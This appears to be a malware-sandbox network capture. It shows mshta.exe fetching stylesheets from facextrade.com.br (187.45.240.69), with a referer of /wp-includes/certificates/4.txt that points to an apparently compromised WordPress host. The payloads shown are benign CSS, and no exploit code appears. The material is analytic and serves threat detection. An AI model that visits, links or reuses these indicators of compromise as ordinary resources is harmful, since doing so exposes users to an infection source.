infinite; animation-iteration-count: infinite;}.animated.hinge { -webkit-animation-duration: 2s; animation-duration: 2s;}.animated.bounceIn,.animated.bounceOut { -webkit-animation-duration: .75s; animation-duration: .75s;}.animated.flipOutX,.animated.flipOutY { -webkit-animation-duration: .75s; animation-duration: .75s;}@-webkit-keyframes bounce { from, 20%, 53%, 80%, to { -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); -webkit-transform: translate3d(0,0,0); transform: translate3
Aug 16, 2022 11:49:51.474777937 CEST	529	IN	Data Raw: 64 28 30 2c 30 2c 30 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 34 30 25 2c 20 34 33 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 Data Ascii: d(0,0,0); } 40%, 43% { -webkit-animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); -webkit-transform: translate3d(0, -
Aug 16, 2022 11:49:51.474802017 CEST	531	IN	Data Raw: 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 37 35 35 2c 20 30 2e 30 35 30 2c 20 30 2e 38 35 35 2c 20 30 2e 30 36 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 61 6e 69 Data Ascii: -animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); -webkit-transform: translate3d(0, -15px, 0); transform: translate3d(0, -15px,
Aug 16, 2022 11:49:51.474822998 CEST	532	IN	Data Raw: 6d 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 31 2c 20 31 2c 20 31 29 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 31 2c 20 31 Data Ascii: m { -webkit-transform: scale3d(1, 1, 1); transform: scale3d(1, 1, 1); } 50% { -webkit-transform: scale3d(1.05, 1.05, 1.05); transform: scale3d(1.05, 1.05, 1.05); } to { -webk
Aug 16, 2022 11:49:51.474844933 CEST	533	IN	Data Raw: 31 2c 20 31 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 33 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 31 2e 32 35 2c 20 30 2e 37 35 2c 20 31 29 3b 0d 0a 20 20 Data Ascii: 1, 1); } 30% { -webkit-transform: scale3d(1.25, 0.75, 1); transform: scale3d(1.25, 0.75, 1); } 40% { -webkit-transform: scale3d(0.75, 1.25, 1); transform: scale3d(0.75, 1.25, 1);
Aug 16, 2022 11:49:51.474868059 CEST	535	IN	Data Raw: 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 31 30 25 2c 20 33 30 25 2c 20 35 30 25 2c 20 37 30 25 2c 20 39 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 Data Ascii: ); } 10%, 30%, 50%, 70%, 90% { -webkit-transform: translate3d(-10px, 0, 0); transform: translate3d(-10px, 0, 0); } 20%, 40%, 60%, 80% { -webkit-transform: translate3d(10px, 0, 0); tra
Aug 16, 2022 11:49:51.474889994 CEST	536	IN	Data Raw: 6d 3a 20 72 6f 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 35 64 65 67 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 38 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 Data Ascii: m: rotate3d(0, 0, 1, 5deg); } 80% { -webkit-transform: rotate3d(0, 0, 1, -5deg); transform: rotate3d(0, 0, 1, -5deg); } to { -webkit-transform: rotate3d(0, 0, 1, 0deg); transform: rot
Aug 16, 2022 11:49:51.474917889 CEST	538	IN	Data Raw: 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 2e 39 2c 20 2e 39 2c 20 2e 39 29 20 72 6f 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 2d 33 64 65 67 29 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 Data Ascii: -webkit-transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); transform: scale3d(.9, .9, .9) rotate3d(0, 0, 1, -3deg); } 30%, 50%, 70%, 90% { -webkit-transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg)
Aug 16, 2022 11:49:51.474945068 CEST	539	IN	Data Raw: 6f 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 2d 33 64 65 67 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 36 30 25 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 Data Ascii: otate3d(0, 0, 1, -3deg); } 60% { -webkit-transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg); transform: translate3d(10%, 0, 0) rotate3d(0, 0, 1, 2deg); } 75% { -webkit-transform: transl
Aug 16, 2022 11:49:51.474970102 CEST	541	IN	Data Raw: 2c 20 30 29 20 72 6f 74 61 74 65 33 64 28 30 2c 20 30 2c 20 31 2c 20 2d 31 64 65 67 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 74 6f 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65 Data Ascii: , 0) rotate3d(0, 0, 1, -1deg); } to { -webkit-transform: none; transform: none; }}.wobble { -webkit-animation-name: wobble; animation-name: wobble;}@-webkit-keyframes jello { from,
Aug 16, 2022 11:49:51.708761930 CEST	544	IN	Data Raw: 20 6a 65 6c 6c 6f 20 7b 0d 0a 20 20 20 20 66 72 6f 6d 2c 20 31 31 2e 31 25 2c 20 74 6f 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f Data Ascii: jello { from, 11.1%, to { -webkit-transform: none; transform: none; } 22.2% { -webkit-transform: skewX(-12.5deg) skewY(-12.5deg); transform: skewX(-12.5deg) skewY(-12.5deg); } 3

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.22	49190	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:51.244967937 CEST	527	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:51.488562107 CEST	542	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:51 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT ETag: "a51451-3f5-5c93d38d94a1b" Accept-Ranges: bytes Content-Length: 1013 Connection: close Content-Type: text/css Data Raw: 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a 20 53 45 45 20 4c 49 43 45 4e 53 45 20 49 4e 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 0a 20 2a 2f 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 64 6f 74 73 2c 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 6e 61 76 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 6e 61 76 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 7d 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 6e 61 76 20 5b 63 6c 61 73 73 2a 3d 6f 77 6c 2d 5d 7b 63 6f 6c 6f 72 3a 23 46 46 46 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6d 61 72 67 69 6e 3a 35 70 78 3b 70 61 64 64 69 6e 67 3a 34 70 78 20 37 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 44 36 44 36 44 36 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 7d 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 6e 61 76 20 5b 63 6c 61 73 73 2a 3d 6f 77 6c 2d 5d 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 38 36 39 37 39 31 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 6e 61 76 20 2e 64 69 73 61 62 6c 65 64 7b 6f 70 61 63 69 74 79 3a 2e 35 3b 63 75 72 73 6f 72 3a 64 65 66 61 75 6c 74 7d 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 6e 61 76 2e 64 69 73 61 62 6c 65 64 2b 2e 6f 77 6c 2d 64 6f 74 73 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 7d 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 64 6f 74 73 20 2e 6f 77 6c 2d 64 6f 74 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 7a 6f 6f 6d 3a 31 7d 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 64 6f 74 73 20 2e 6f 77 6c 2d 64 6f 74 20 73 70 61 6e 7b 77 69 64 74 68 3a 31 30 70 78 3b 68 65 69 67 68 74 3a 31 30 70 78 3b 6d 61 72 67 69 6e 3a 35 70 78 20 37 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 44 36 44 36 44 36 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 6f 70 61 63 69 74 79 20 2e 32 73 20 65 61 73 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 30 70 78 7d 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 64 6f 74 73 20 2e 6f 77 6c 2d 64 6f 74 2e 61 63 74 69 76 65 20 73 70 61 6e 2c 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 64 6f 74 73 20 2e 6f 77 6c 2d 64 6f 74 3a 68 6f 76 65 72 20 73 70 61 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 38 36 39 37 39 31 7d Data Ascii: /** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE /.owl-theme .owl-dots,.owl-theme .owl-nav{text-align:center;-webkit-tap-highlight-color:transparent}.owl-theme .owl-nav{margin-top:10px}.owl-theme .owl-nav [class=owl-]{color:#FFF;font-size:14px;margin:5px;padding:4px 7px;background:#D6D6D6;display:inline-block;cursor:pointer;border-radius:3px}.owl-theme .owl-nav [class*=owl-]:hover{background:#869791;color:#FFF;text-decoration:none}.owl-theme .owl-nav .disabled{opacity:.5;cursor:default}.owl-theme .owl-nav.disabled+.owl-dots{margin-top:10px}.owl-theme .owl-dots .owl-dot{display:inline-block;zoom:1}.owl-theme .owl-dots .owl-dot span{width:10px;height:10px;margin:5px 7px;background:#D6D6D6;display:block;-webkit-backface-visibility:visible;transition:opacity .2s ease;border-radius:30px}.owl-theme .owl-dots .owl-dot.active span,.owl-theme .owl-dots .owl-dot:hover span{background:#869791}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.22	49191	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:51.729255915 CEST	571	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:51.976986885 CEST	616	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:51 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT ETag: "a51456-d17-5c93d38d9645e" Accept-Ranges: bytes Content-Length: 3351 Connection: close Content-Type: text/css Data Raw: 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a 20 53 45 45 20 4c 49 43 45 4e 53 45 20 49 4e 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 0a 20 2a 2f 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 2c 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 7b 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 77 69 64 74 68 3a 31 30 30 25 3b 7a 2d 69 6e 64 65 78 3a 31 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 73 74 61 67 65 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 2d 6d 73 2d 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 70 61 6e 2d 59 3b 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 3b 2d 6d 6f 7a 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 73 74 61 67 65 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 22 2e 22 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 68 65 69 67 68 74 3a 30 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 73 74 61 67 65 2d 6f 75 74 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 2c 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 7b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 2d 6d 6f 7a 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 2d 6d 73 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 2d 77 65 62 6b 69 74 2d 74 6f 75 63 68 2d 63 61 6c 6c 6f 75 74 3a 6e 6f 6e 65 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 20 69 6d 67 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 64 6f 74 73 2e 64 69 73 61 62 6c 65 64 2c 2e 6f Data Ascii: /** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE */.owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent;position:relative}.owl-carousel{display:none;width:100%;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0,0,0)}.owl-carousel .owl-item,.owl-carousel .owl-wrapper{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-touch-callout:none}.owl-carousel .owl-item img{display:block;width:100%}.owl-carousel .owl-dots.disabled,.o
Aug 16, 2022 11:49:51.977026939 CEST	618	IN	Data Raw: 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 2e 64 69 73 61 62 6c 65 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 6e 6f 2d 6a 73 20 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 2c 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 2e 6f 77 6c 2d Data Ascii: wl-carousel .owl-nav.disabled{display:none}.no-js .owl-carousel,.owl-carousel.owl-loaded{display:block}.owl-carousel .owl-dot,.owl-carousel .owl-nav .owl-next,.owl-carousel .owl-nav .owl-prev{cursor:pointer;-webkit-user-select:none;-khtml-user
Aug 16, 2022 11:49:51.977216959 CEST	619	IN	Data Raw: 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 20 2e 6f 77 6c 2d 6c 61 7a 79 5b 73 72 63 5e 3d 22 22 5d 7b 6d 61 78 2d 68 65 69 67 68 74 3a 30 7d 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 20 69 6d 67 2e 6f 77 Data Ascii: -carousel .owl-item .owl-lazy[src^=""]{max-height:0}.owl-carousel .owl-item img.owl-lazy{transform-style:preserve-3d}.owl-carousel .owl-video-wrapper{position:relative;height:100%;background:#000}.owl-carousel .owl-video-play-icon{position:abs

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.22	49192	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:52.202824116 CEST	620	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:52.436490059 CEST	621	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:52 GMT Server: Apache Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT ETag: "a50ba8-14fc-5c93d38d8b229" Accept-Ranges: bytes Content-Length: 5372 Connection: close Content-Type: text/css
Aug 16, 2022 11:49:52.436532974 CEST	622	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 41 6c 6c 20 6f 66 20 74 68 65 20 43 53 53 20 66 6f 72 20 79 6f 75 72 20 70 75 62 6c 69 63 2d 66 61 63 69 6e 67 20 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 20 73 68 6f 75 6c 64 20 62 65 0a 20 2a 20 69 6e 63 6c 75 64 65 64 20 69 Data Ascii: /** * All of the CSS for your public-facing functionality should be * included in this file. */.lgx-logo-slider-wp .owl-stage { display: flex; align-items: center;}.lgx-logo-slider-wp .lgx-logo-wrapper { padding: 25px 0;}.lg
Aug 16, 2022 11:49:52.436559916 CEST	623	IN	Data Raw: 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 74 6f 70 3a 20 32 35 25 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 32 3b 0a 7d 0a 2e 6c 67 78 2d 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 20 2e 6e 61 76 2d 70 6f 73 69 74 69 Data Ascii: position: absolute; top: 25%; z-index: 2;}.lgx-logo-slider-wp .nav-position-v-mid .owl-next { right: 0;}.lgx-logo-slider-wp .nav-position-v-mid .owl-prev { left: 0;}.lgx-logo-slider-wp .nav-position-v-mid-hover { position: r
Aug 16, 2022 11:49:52.436588049 CEST	625	IN	Data Raw: 20 20 2d 77 65 62 6b 69 74 2d 6f 70 61 63 69 74 79 3a 20 31 3b 0a 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0a 20 20 2d 6d 73 2d 66 69 6c 74 65 72 3a 20 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 Data Ascii: -webkit-opacity: 1; opacity: 1; -ms-filter: progid:DXImageTransform.Microsoft.Alpha(opacity=100); filter: alpha(opacity=100); filter: none; -webkit-filter: grayscale(0); -moz-filter: grayscale(0); -o-filter: grayscale(0); -ms
Aug 16, 2022 11:49:52.436614990 CEST	626	IN	Data Raw: 61 6c 75 65 73 3d 5c 27 30 2e 33 33 33 33 20 30 2e 33 33 33 33 20 30 2e 33 33 33 33 20 30 20 30 20 30 2e 33 33 33 33 20 30 2e 33 33 33 33 20 30 2e 33 33 33 33 20 30 20 30 20 30 2e 33 33 33 33 20 30 2e 33 33 33 33 20 30 2e 33 33 33 33 20 30 20 30 Data Ascii: alues=\'0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0 0 0 1 0\'/></filter></svg>#grayscale"); -webkit-filter: grayscale(100%); -moz-filter: grayscale(100%); -o-filter: grayscale(100%); -ms-filter: graysca
Aug 16, 2022 11:49:52.436634064 CEST	626	IN	Data Raw: 77 70 2d 70 75 62 6c 69 63 2e 63 73 73 2e 6d 61 70 20 2a 2f Data Ascii: wp-public.css.map */

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.22	49193	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:52.270246029 CEST	620	OUT	GET /wp-content/themes/theme51253/main-style.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:52.504914045 CEST	628	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:53 GMT Server: Apache ETag: "a53765-1130b-5cd2be5c3c8aa" Last-Modified: Thu, 30 Sep 2021 00:55:05 GMT Content-Length: 70411 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 17189326 17003359 Age: 299 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 22 2e 2e 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 73 74 79 6c 65 2e 63 73 73 22 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 31 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 33 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 34 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 